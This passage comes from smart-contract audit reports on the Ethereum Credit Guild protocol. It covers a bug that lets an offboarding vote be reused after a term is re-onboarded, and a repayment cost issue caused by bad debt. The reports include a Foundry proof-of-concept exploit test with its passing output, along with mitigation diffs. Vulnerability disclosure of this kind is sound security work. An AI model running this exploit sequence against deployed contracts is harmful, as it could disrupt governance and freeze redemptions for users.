• When a term is offboarded, GUILD holders can propose the offboarding of the term, then a poll will be initiated to collect votes and determine if there are enough holders that agree the term should be offboarded, holders express their support to offboard a term by calling the supportOffboard() which will use their userWeight to vote in favor of the offboard proposal, and if enough votes are collected (during the poll duration), the term will be ready to be offboarded. Then anybody can call the LendingTermOffboarding::offboard() function and provide the term that will be offboarded, this function will remove the term from the gagues, which will cause that no more borrows are allowed on that term, and it will also pause the redemptions in the PSM contract. Before cleaning up the term and unpausing the redemptions in the PSM module, all the open loans in the term must be fully closed. Once the loans are closed, anybody can call the LendingTermOffboarding::cleanup() function and provide the term that is been cleaned up, this function will revoke the roles assigned to the term contract, and will unpause the redemptions in the PSM module (if there are no more offboardings in process), but, if the term is not anymore deprecated, this function will revert because the term was re-onboarded, which means, if a term is re-onboarded, the previous offboarding process must not be effective to complete the offboarding of the term, but, there is a bug in the logic of the LendingTermOffboarding contract that allows to re-use the previous offboarding process if it was not cleaned up, thus, a user could mess up the term and proceed to call the LendingTermOffboarding::offboard() function again which will offboard the term and pause the borrows from it and will mess up the accounting of the nOffboardingsInProgress because it will be incremented and it would report as if a new process to offboard a term was completed, when in reality, an old process is being reused. Let's do a code walkthrough to verify the previous explanation.

LendingTermOffboarding.sol

function offboard(address term) external whenNotPaused {
    //@audit-ok => Only if the proposal reaches quorum it can be offboarded
      //@audit-info => Reaching quorum means that the offboarding was proposed and voted by the holders
    require(canOffboard[term], "LendingTermOffboarding: quorum not met");

    //@audit-info => Removes the LendingTerm from the Active Gauges, thus, the loans in the term will become callable!
    // update protocol config
    // this will revert if the term has already been offboarded
    // through another mean.
    GuildToken(guildToken).removeGauge(term);

    //@audit-ok => If redemptions are not paused and there was not another term being offboarded (pending to be cleaned up), pause redemptions in the psm!
    // pause psm redemptions
    if (
        nOffboardingsInProgress++ == 0 &&
        !SimplePSM(psm).redemptionsPaused()
    ) {
        SimplePSM(psm).setRedemptionsPaused(true);
    }

    emit Offboard(block.timestamp, term);
}

function cleanup(address term) external whenNotPaused {
    require(canOffboard[term], "LendingTermOffboarding: quorum not met");

    //@audit-ok => Term can't be offboarded if the term has open loans!
    require(
        LendingTerm(term).issuance() == 0,
        "LendingTermOffboarding: not all loans closed"
    );

    //@audit-info => If the gauge was re-onboarded, it can't be cleaned up!
    require(
        GuildToken(guildToken).isDeprecatedGauge(term),
        "LendingTermOffboarding: re-onboarded"
    );

    //@audit-ok => Removes the roles to the term being offboarded!
    // update protocol config
    core().revokeRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, term);
    core().revokeRole(CoreRoles.GAUGE_PNL_NOTIFIER, term);

    //@audit-ok => If there are no other active offboardings and the redemptions are paused, proceed to unpause them in the PSM!
    // unpause psm redemptions
    if (
        --nOffboardingsInProgress == 0 && SimplePSM(psm).redemptionsPaused()
    ) {
        SimplePSM(psm).setRedemptionsPaused(false);
    }

    //@audit-ok => in case the term is re-added, the offboarding process shall start again in case the term wants to be offboarded again!
    //@audit-ok => By setting the canOffboard[term] variable to false it forces that a new offboarding process needs to be completed, proposing and voting to offboard the term again, no previous offboarding proposal can be reused!

  
    //@audit-issue => But, the problem is that canOffboard[term] is only set to false is the term can be fully cleaned up, if the gauge was re-onboarded, the term won't be able to be cleaned up.
      //@audit-issue => Thus, the canOffboard[term] will still be set to true, which means, the past offboarding proposal can be reused
    canOffboard[term] = false;
    emit Cleanup(block.timestamp, term);
}

Coded PoC

Now, let's take a look at the below PoC that reproduces the problem. The PoC demonstrates how an offboarding proposal can be reused after a term was re-onboarded.

• Help me to create a new file called OffBoardingAndReOnboardingPoC.t.sol inside the folder unit/governance (the same folder where are the original test file of the LendingTermOffboaring an Onboarding contracts).

// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.13;

import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";

import {Test} from "@forge-std/Test.sol";
import {Core} from "@src/core/Core.sol";
import {CoreRoles} from "@src/core/CoreRoles.sol";
import {MockERC20} from "@test/mock/MockERC20.sol";
import {SimplePSM} from "@src/loan/SimplePSM.sol";
import {GuildToken} from "@src/tokens/GuildToken.sol";
import {CreditToken} from "@src/tokens/CreditToken.sol";
import {LendingTerm} from "@src/loan/LendingTerm.sol";
import {AuctionHouse} from "@src/loan/AuctionHouse.sol";
import {ProfitManager} from "@src/governance/ProfitManager.sol";
import {RateLimitedMinter} from "@src/rate-limits/RateLimitedMinter.sol";
import {LendingTermOffboarding} from "@src/governance/LendingTermOffboarding.sol";

import {Governor, IGovernor} from "@openzeppelin/contracts/governance/Governor.sol";
import {GovernorCountingSimple} from "@openzeppelin/contracts/governance/extensions/GovernorCountingSimple.sol";

import {LendingTermOnboarding} from "@src/governance/LendingTermOnboarding.sol";
import {GuildTimelockController} from "@src/governance/GuildTimelockController.sol";

import "@test/forge-std/src/console2.sol";

contract OffBoardingAndReOnboardingPoC is Test {
  
    address private governor = address(1);
    Core private core;
    ProfitManager private profitManager;
    GuildToken private guild;
    CreditToken private credit;
    MockERC20 private collateral;
    SimplePSM private psm;
    LendingTerm private term;
    AuctionHouse auctionHouse;
    RateLimitedMinter rlcm;
    LendingTermOffboarding private offboarder;
    address private constant alice = address(0x616c696365);
    address private constant bob = address(0xB0B);
    address private constant carol = address(0xca201);
    bytes32 private aliceLoanId;
    uint256 private aliceLoanSize = 500_000e18;

    // LendingTerm params
    uint256 private constant _CREDIT_PER_COLLATERAL_TOKEN = 1e18; // 1:1, same decimals
    uint256 private constant _INTEREST_RATE = 0.05e18; // 5% APR
    uint256 private constant _HARDCAP = 1_000_000e18;

    // LendingTermOffboarding params
    uint32 private constant _QUORUM = 10 minutes;

    GuildTimelockController private timelock;
    LendingTermOnboarding private onboarder;
    LendingTerm private termImplementation;

    // GuildTimelockController params
    uint256 private constant _TIMELOCK_MIN_DELAY = 3600; // 1h

    // LendingTermOnboarding params
    uint256 private constant _VOTING_DELAY = 0;
    uint256 private constant _VOTING_PERIOD = 100_000; // ~14 days
    uint256 private constant _PROPOSAL_THRESHOLD = 2_500_000e18;
    uint256 private constant _QUORUM_ONBOARD = 20_000_000e18;

    function setUp() public {
        vm.warp(1679067867);
        vm.roll(16848497);

        // deploy
        core = new Core();
        profitManager = new ProfitManager(address(core));
        credit = new CreditToken(address(core), "name", "symbol");
        guild = new GuildToken(address(core), address(profitManager));
        collateral = new MockERC20();
        rlcm = new RateLimitedMinter(
            address(core), /*_core*/
            address(credit), /*_token*/
            CoreRoles.RATE_LIMITED_CREDIT_MINTER, /*_role*/
            type(uint256).max, /*_maxRateLimitPerSecond*/
            type(uint128).max, /*_rateLimitPerSecond*/
            type(uint128).max /*_bufferCap*/
        );
        psm = new SimplePSM(
            address(core),
            address(profitManager),
            address(credit),
            address(collateral)
        );
        profitManager.initializeReferences(address(credit), address(guild), address(psm));
        offboarder = new LendingTermOffboarding(
            address(core),
            address(guild),
            address(psm),
            _QUORUM
        );
        auctionHouse = new AuctionHouse(
            address(core),
            650,
            1800
        );

        termImplementation = new LendingTerm();
        timelock = new GuildTimelockController(
            address(core),
            _TIMELOCK_MIN_DELAY
        );
        onboarder = new LendingTermOnboarding(
            LendingTerm.LendingTermReferences({
                profitManager: address(profitManager),
                guildToken: address(guild),
                auctionHouse: address(auctionHouse),
                creditMinter: address(rlcm),
                creditToken: address(credit)
            }), /// _lendingTermReferences
            1, // _gaugeType
            address(core), // _core
            address(timelock), // _timelock
            _VOTING_DELAY, // initialVotingDelay
            _VOTING_PERIOD, // initialVotingPeriod
            _PROPOSAL_THRESHOLD, // initialProposalThreshold
            _QUORUM_ONBOARD // initialQuorum
        );
        onboarder.allowImplementation(
            address(termImplementation),
            true
        );

        core.grantRole(CoreRoles.GOVERNOR, address(timelock));
        core.grantRole(CoreRoles.GAUGE_ADD, address(timelock));
        core.grantRole(CoreRoles.TIMELOCK_EXECUTOR, address(0));
        core.grantRole(CoreRoles.TIMELOCK_PROPOSER, address(onboarder));

        vm.label(address(timelock), "timelock");
        vm.label(address(onboarder), "onboarder");
        vm.label(address(termImplementation), "termImplementation");

        term = LendingTerm(onboarder.createTerm(address(termImplementation), LendingTerm.LendingTermParams({
            collateralToken: address(collateral),
            maxDebtPerCollateralToken: _CREDIT_PER_COLLATERAL_TOKEN,
            interestRate: _INTEREST_RATE,
            maxDelayBetweenPartialRepay: 0,
            minPartialRepayPercent: 0,
            openingFee: 0,
            hardCap: _HARDCAP
        })));

        vm.label(address(term), "term");
        
        // permissions
        core.grantRole(CoreRoles.GOVERNOR, governor);
        core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
        core.grantRole(CoreRoles.GUILD_MINTER, address(this));
        core.grantRole(CoreRoles.GAUGE_ADD, address(this));
        core.grantRole(CoreRoles.GAUGE_REMOVE, address(this));
        core.grantRole(CoreRoles.GAUGE_REMOVE, address(offboarder));
        core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
        core.grantRole(CoreRoles.GUILD_GOVERNANCE_PARAMETERS, address(this));
        core.grantRole(CoreRoles.CREDIT_MINTER, address(rlcm));
        core.grantRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, address(term));
        core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(term));
        core.grantRole(CoreRoles.GOVERNOR, address(offboarder));
        core.renounceRole(CoreRoles.GOVERNOR, address(this));

        // add gauge and vote for it
        guild.setMaxGauges(10);
        guild.addGauge(1, address(term));
        guild.mint(address(this), _HARDCAP * 2);
        guild.incrementGauge(address(term), _HARDCAP);

        // allow GUILD delegations
        guild.setMaxDelegates(10);

        // alice borrows
        collateral.mint(alice, aliceLoanSize);
        vm.startPrank(alice);
        collateral.approve(address(term), aliceLoanSize);
        aliceLoanId = term.borrow(aliceLoanSize, aliceLoanSize);
        vm.stopPrank();

        // labels
        vm.label(address(this), "test");
        vm.label(address(core), "core");
        vm.label(address(profitManager), "profitManager");
        vm.label(address(guild), "guild");
        vm.label(address(credit), "credit");
        vm.label(address(rlcm), "rlcm");
        vm.label(address(auctionHouse), "auctionHouse");
        vm.label(address(term), "term");
        vm.label(address(offboarder), "offboarder");
        vm.label(alice, "alice");
        vm.label(bob, "bob");
        vm.label(carol, "carol");
    }

        function testOffBoardAndReOnBoardPoC() public {
        // prepare to offboard the term!
        guild.mint(bob, _QUORUM);
        vm.startPrank(bob);
        guild.delegate(bob);
        uint256 snapshotBlock = block.number;
        offboarder.proposeOffboard(address(term));
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 13);
        vm.expectRevert("LendingTermOffboarding: quorum not met");
        offboarder.cleanup(address(term));
        offboarder.supportOffboard(snapshotBlock, address(term));
        console2.log("Offboarding Term");
        offboarder.offboard(address(term));

        // cannot cleanup because loans are active
        vm.expectRevert("LendingTermOffboarding: not all loans closed");
        offboarder.cleanup(address(term));
        vm.stopPrank();

        console2.log("Reonboarding Term after it was Offboarded, but before it is cleared");
        proposeReOnboard();

        console2.log("Closing Loans");
        // get enough CREDIT to pack back interests
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 13);
        uint256 debt = term.getLoanDebt(aliceLoanId);
        credit.mint(alice, debt - aliceLoanSize);

        // close loans
        vm.startPrank(alice);
        credit.approve(address(term), debt);
        term.repay(aliceLoanId);
        vm.stopPrank();

        vm.expectRevert("LendingTermOffboarding: re-onboarded");
        offboarder.cleanup(address(term));

        console2.log("Re-Offboarding the term again without proposing and voting for the term to be re-offboarded again");
        offboarder.offboard(address(term));
        
        console2.log("Cleaning Up the Term even though the term was re-onboarded and there were not a new proposal and voting to offboard the term again");
        // cleanup
        offboarder.cleanup(address(term));

        assert(psm.redemptionsPaused() != false);
        assert(offboarder.nOffboardingsInProgress() != 0);
        if(psm.redemptionsPaused() != false) console2.log("Redemptions were not unpaused in the PSM");
        if(offboarder.nOffboardingsInProgress() != 0) console2.log("nOffboardingsInProgress was not downgraded to 0");

        assertEq(offboarder.canOffboard(address(term)), false);
        assertEq(core.hasRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(term)), false);
        assertEq(core.hasRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, address(term)), false);
    }


    function proposeReOnboard() public {
        // cannot propose an arbitrary address (must come from factory)
        vm.expectRevert("LendingTermOnboarding: invalid term");
        onboarder.proposeOnboard(address(this));

        // cannot propose if the user doesn't have enough GUILD
        vm.expectRevert("Governor: proposer votes below proposal threshold");
        onboarder.proposeOnboard(address(term));

        // mint GUILD & self delegate
        guild.mint(alice, _PROPOSAL_THRESHOLD);
        guild.mint(bob, _QUORUM_ONBOARD);
        vm.prank(alice);
        guild.delegate(alice);
        vm.prank(bob);
        guild.incrementDelegation(bob, _QUORUM_ONBOARD);
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 13);

        // propose onboard
        vm.prank(alice);
        uint256 proposalId = onboarder.proposeOnboard(address(term));
        (
            address[] memory targets,
            uint256[] memory values,
            bytes[] memory calldatas,
            string memory description
        ) = onboarder.getOnboardProposeArgs(address(term));

        // cannot propose the same term multiple times in a short interval of time
        vm.expectRevert("LendingTermOnboarding: recently proposed");
        onboarder.proposeOnboard(address(term));

        // check proposal creation
        assertEq(uint8(onboarder.state(proposalId)), uint8(IGovernor.ProposalState.Pending));
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 13);
        assertEq(uint8(onboarder.state(proposalId)), uint8(IGovernor.ProposalState.Active));

        // support & check status
        vm.prank(bob);
        onboarder.castVote(proposalId, uint8(GovernorCountingSimple.VoteType.For));
        vm.roll(block.number + _VOTING_PERIOD + 1);
        vm.warp(block.timestamp + 13);
        assertEq(uint8(onboarder.state(proposalId)), uint8(IGovernor.ProposalState.Succeeded));

        // queue
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 13);
        onboarder.queue(targets, values, calldatas, keccak256(bytes(description)));
        assertEq(uint8(onboarder.state(proposalId)), uint8(IGovernor.ProposalState.Queued));

        // execute
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + _TIMELOCK_MIN_DELAY + 13);
        onboarder.execute(targets, values, calldatas, keccak256(bytes(description)));
        assertEq(uint8(onboarder.state(proposalId)), uint8(IGovernor.ProposalState.Executed));

        // check execution
        assertEq(guild.isGauge(address(term)), true);

    }

}

• Now, let's run the PoC and see the output, use the next command to run the PoC forge test --match-test testOffBoardAndReOnBoardPoC --match-contract OffBoardingAndReOnboardingPoC -vvv

[PASS] testOffBoardAndReOnBoardPoC() (gas: 1410330)
Logs:
  Offboarding Term
  Reonboarding Term after it was Offboarded, but before it is cleared
  Closing Loans
  Re-Offboarding the term again without proposing and voting for the term to be re-offboarded again
  Cleaning Up the Term even though the term was re-onboarded and there were not a new proposal and voting to offboard the term again
  Redemptions were not unpaused in the PSM
  nOffboardingsInProgress was not downgraded to 0

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 12.63ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual Audit

Recommended Mitigation Steps

• The recommendation to mitigate this bug it is to ensure that previous offboarding proposals can't be reused. Add the below changes to the code in the LendingTermOffboarding.sol file

LendingTermOffboarding.sol

function offboard(address term) external whenNotPaused {
    //@audit-ok => Only if the proposal reaches quorum it can be offboarded!
    require(canOffboard[term], "LendingTermOffboarding: quorum not met");

    //@audit-recommendation => If the gauge is not deprecated anymore, it means the term was re-onboarded, set the canOffboard[term] to false, in this way, if the term would like to be offboarded again, the offboarding must be proposed and voted again
+   if(!GuildToken(guildToken).isDeprecatedGauge(term)){
+       canOffboard[term] = false;
+       return;
+   }

    ...
}


function cleanup(address term) external whenNotPaused {
  ...

- require(
-     GuildToken(guildToken).isDeprecatedGauge(term),
-     "LendingTermOffboarding: re-onboarded"
- );

  //@audit-recommendation => If the gauge is not a deprecated gauge when cleaning up it means that the gauge was re-onboarded before the cleanup was called
  //@audit-recommendation => update the variables to the state before the term was offboarded!
+ if(!GuildToken(guildToken).isDeprecatedGauge(term)){
+     if (
+         --nOffboardingsInProgress == 0 && SimplePSM(psm).redemptionsPaused()
+     ) {
+         SimplePSM(psm).setRedemptionsPaused(false);
+     }
+     canOffboard[term] = false;
+     return;
+ }

  ...
}

Assessed type

Context

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/LendingTerm.sol#L580-L594

Vulnerability details

Impact

• Repayers using EOA accounts will need to spend more PeggedTokens than what they should to get the needed CreditTokens to repay a loan if the market accrues bad debt while the repayer is doing the repayment.

Proof of Concept

• When repaying loans, the LendingTerm::_repay() function computes the total loanDebt to be repaid (includes interests), it pulls the CreditTokens from the repayer the computed value of the loanDebt, then distributes interests, burns the principal, updates the issuance and finally transfers back the borrower's collateral to the borrower.
  • The problem is that this existing implementation forces the repayer to mint in advance the amount of loanDebt to be repaid, the thing is that EOA accounts can't do the minting of the required CreditTokens and also repay the loan in the same transaction. EOA accounts will first mint the CreditTokens and then will send a separate tx to repay the loan. The problem is that if bad debt is generated in the system and the creditMultiplier is decremented between the time when tx of the repayer to mint the CreditTokens and when the tx to repay the loan is actually executed, the repayer will be impacted by the bad debt, because the amount of minted CreditTokens won't be enough to cover the new value that will be computed for the loanDebt (since the creditMultiplier shrank, more CreditTokens will be required to cover the same debt). This will cause the tx to repay the loan to revert, since the repayer won't have enough CreditTokens in its balance, but more importantly, now, the repayer will be forced to mint more CreditTokens, which means, the repayer will need to spend more PeggedTokens to mint the extra CreditTokens that are required to cover the new value of the loanDebt, that means, the repayer was impacted by the bad debt that was generated in the system. The design of the protocol is such that bad debt is covered by stakers, surpluss buffer, and CreditToken holders, but, it is important to make a distinction between a holder who is holding the CreditTokens expecting a return on his investments, and a repayer who was forced to mint CreditTokens before repaying his loan, repayers are already paying interests and fees, it is not fair to impact them if bad debt is generated in the system while they are repaying their loans.

Let's run some numbers to demonstrate the impact of this current implementation.

• Assume creditMultiplier is 1e18 (has not been updated), UserA borrowed 100 CreditTokens and the current value of the loanDebt to repay the loan is 120 CreditTokens to cover the interests and fees. UserA goes to the PSM module and deposits 120 PeggedTokens in exchange for 120 CreditTokens. The user now goes ahead to call the repay() to repay his loan. Before the UserA tx to repay the loan is executed, some loans accrue bad debt in the system and cause the creditMultiplier to shrink to 0.9e18. Now, when the user tx is finally executed, the new value of the loanDebt will be ~133 CreditTokens, this will cause the tx to revert because UserA only minted the required amount of loanDebt which was 120 CreditTokens. Now, the user will need to go again to the PSM module to mint the extra CreditTokens and will need to spend more collateral to mint those extra CreditTokens (~14 more PeggedToken).
  • As a result of the current implementation, UserA was forced to spend more PeggedTokens to repay his debt, if we assume CreditTokens are gUSDC and PeggedTokens are USDC, now, to repay the loan, the UserA was forced to spend ~134 USDC instead of 120USDC that is the real value of the debt to be repaid.

LendingTerm.sol

//@audit-issue => A repayer could compute how much CreditTokens are required to repay a loan by calling this function, the computed value will be based on the current value of the creditMultiplier
//@audit-issue => The repayer would then go and mint the amount returned by this function before calling the `repay()` to finally repay his loan

/// @notice outstanding borrowed amount of a loan, including interests
function getLoanDebt(bytes32 loanId) public view returns (uint256) {
    ...

    // compute interest owed
    uint256 borrowAmount = loan.borrowAmount;
    uint256 interest = (borrowAmount *
        params.interestRate *
        (block.timestamp - borrowTime)) /
        YEAR /
        1e18;
    uint256 loanDebt = borrowAmount + interest;
    uint256 _openingFee = params.openingFee;
    if (_openingFee != 0) {
        loanDebt += (borrowAmount * _openingFee) / 1e18;
    }
    uint256 creditMultiplier = ProfitManager(refs.profitManager)
        .creditMultiplier();
    
    //@audit-info => The loanDebt is normalized using the current value of the `creditMultiplier`. loanDebt includes interests and fees accrued by the original borrowAmount
    loanDebt = (loanDebt * loan.borrowCreditMultiplier) / creditMultiplier;

    return loanDebt;
}


//@audit-issue => The problem when repaying the loan is if bad debt was generated in the system, now, the value of the `creditMultiplier` will be slightly lower than when the user queried the total amount of CreditTokens to be repaid by calling the `getLoanDebt()`

function _repay(address repayer, bytes32 loanId) internal {
    ...
    ...
    ...

    // compute interest owed
    //@audit-issue => Now, when repaying the loan, the creditMultiplier will be different, thus, the computed value of the loanDebt will be greater than before, thus, more CreditTokens will be required to repay the same loan
    uint256 loanDebt = getLoanDebt(loanId);
    uint256 borrowAmount = loan.borrowAmount;
    uint256 creditMultiplier = ProfitManager(refs.profitManager)
        .creditMultiplier();
    uint256 principal = (borrowAmount * loan.borrowCreditMultiplier) /
        creditMultiplier;
    uint256 interest = loanDebt - principal;

    //@audit-issue => The amount of `loanDebt` CreditTokens are pulled from the repayer, this means, the repayer must have already minted the CreditTokens and it also granted enough allowance to the LendingTerm contract to spend on his behalf!
    /// pull debt from the borrower and replenish the buffer of available debt that can be minted.
    CreditToken(refs.creditToken).transferFrom(
        repayer,
        address(this),
        loanDebt
    );

    ...
    ...
    ...
}

Tools Used

Manual Audit

Recommended Mitigation Steps

• The most straightforward solution to mitigate this problem is to allow the repayers to mint the exact required amount of CreditTokens to repay their loans within the same tx when the loan is actually being repaid. It can be added as an option for any repayer who wants to go that route and protect themselves against bad debt generated in the system while they are repaying their loans, those who don't want to mint the exact amount of CreditTokens that are required to repay the loan can follow the current implementation where the CreditTokens will be pulled from their balance. If enabled, the LendingTerm based on the computed loanDebt will pull the exact amount of PeggedTokens that are required to mint the exact amount of CreditTokens to repay the loan, and by using the PSM module, the LendingTerm will mint the exact required amount of CreditTokens and will transfer the PeggedTokens that were pulled from the repayer.

LendingTerm.sol

+ function _repay(address repayer, bytes32 loanId, bool mintCreditTokens) internal {
    ...

    // compute interest owed
    uint256 loanDebt = getLoanDebt(loanId);
    ...    

-   /// pull debt from the borrower and replenish the buffer of available debt that can be minted.
-   CreditToken(refs.creditToken).transferFrom(
-       repayer,
-       address(this),
-       loanDebt
-   );

+   if(mintCreditTokens) {
+     //@audit-info => Computes the exact amount of peggedTokens that are required to repay the debt
+     uint256 peggedTokensToRepay = SimplePSM(refs.psmModule).getRedeemAmountOut(loanDebt);
+     address pegToken = SimplePSM(refs.psmModule).pegToken();

+     //@audit-info => Pull the peggedTokens to repay the debt from the repayer into the LendingTerm
+     ERC20(pegToken).safeTransferFrom(repayer, address(this), peggedTokensToRepay);

+     //@audit-info => Mint the exact CreditTokens to repay the debt
+     //@audit-info => The PSM module will pull the PeggedTokens from the LendingTerm and will mint the CreditTokens to the LendingTerm contract
+     uint256 repaidCreditTokens = SimplePSM(refs.psmModule).mint(peggedTokensToRepay);

+     assert(repaidCreditTokens == loanDebt)
+   } else {
+      /// Pull debt from the borrower and replenish the buffer of available debt that can be minted.
+      CreditToken(refs.creditToken).transferFrom(
+          repayer,
+          address(this),
+          loanDebt
+      );
+   }

    if (interest != 0) {
        // forward profit portion to the ProfitManager
        CreditToken(refs.creditToken).transfer(
            refs.profitManager,
            interest
        );

        // report profit
        ProfitManager(refs.profitManager).notifyPnL(
            address(this),
            int256(interest)
        );
    }

    // burn loan principal
    CreditToken(refs.creditToken).burn(principal);
    RateLimitedMinter(refs.creditMinter).replenishBuffer(principal);

    // close the loan
    loan.closeTime = block.timestamp;
    issuance -= borrowAmount;

    // return the collateral to the borrower
    IERC20(params.collateralToken).safeTransfer(
        loan.borrower,
        loan.collateralAmount
    );

    // emit event
    emit LoanClose(block.timestamp, loanId, LoanCloseType.Repay, loanDebt);
}

Assessed type

Context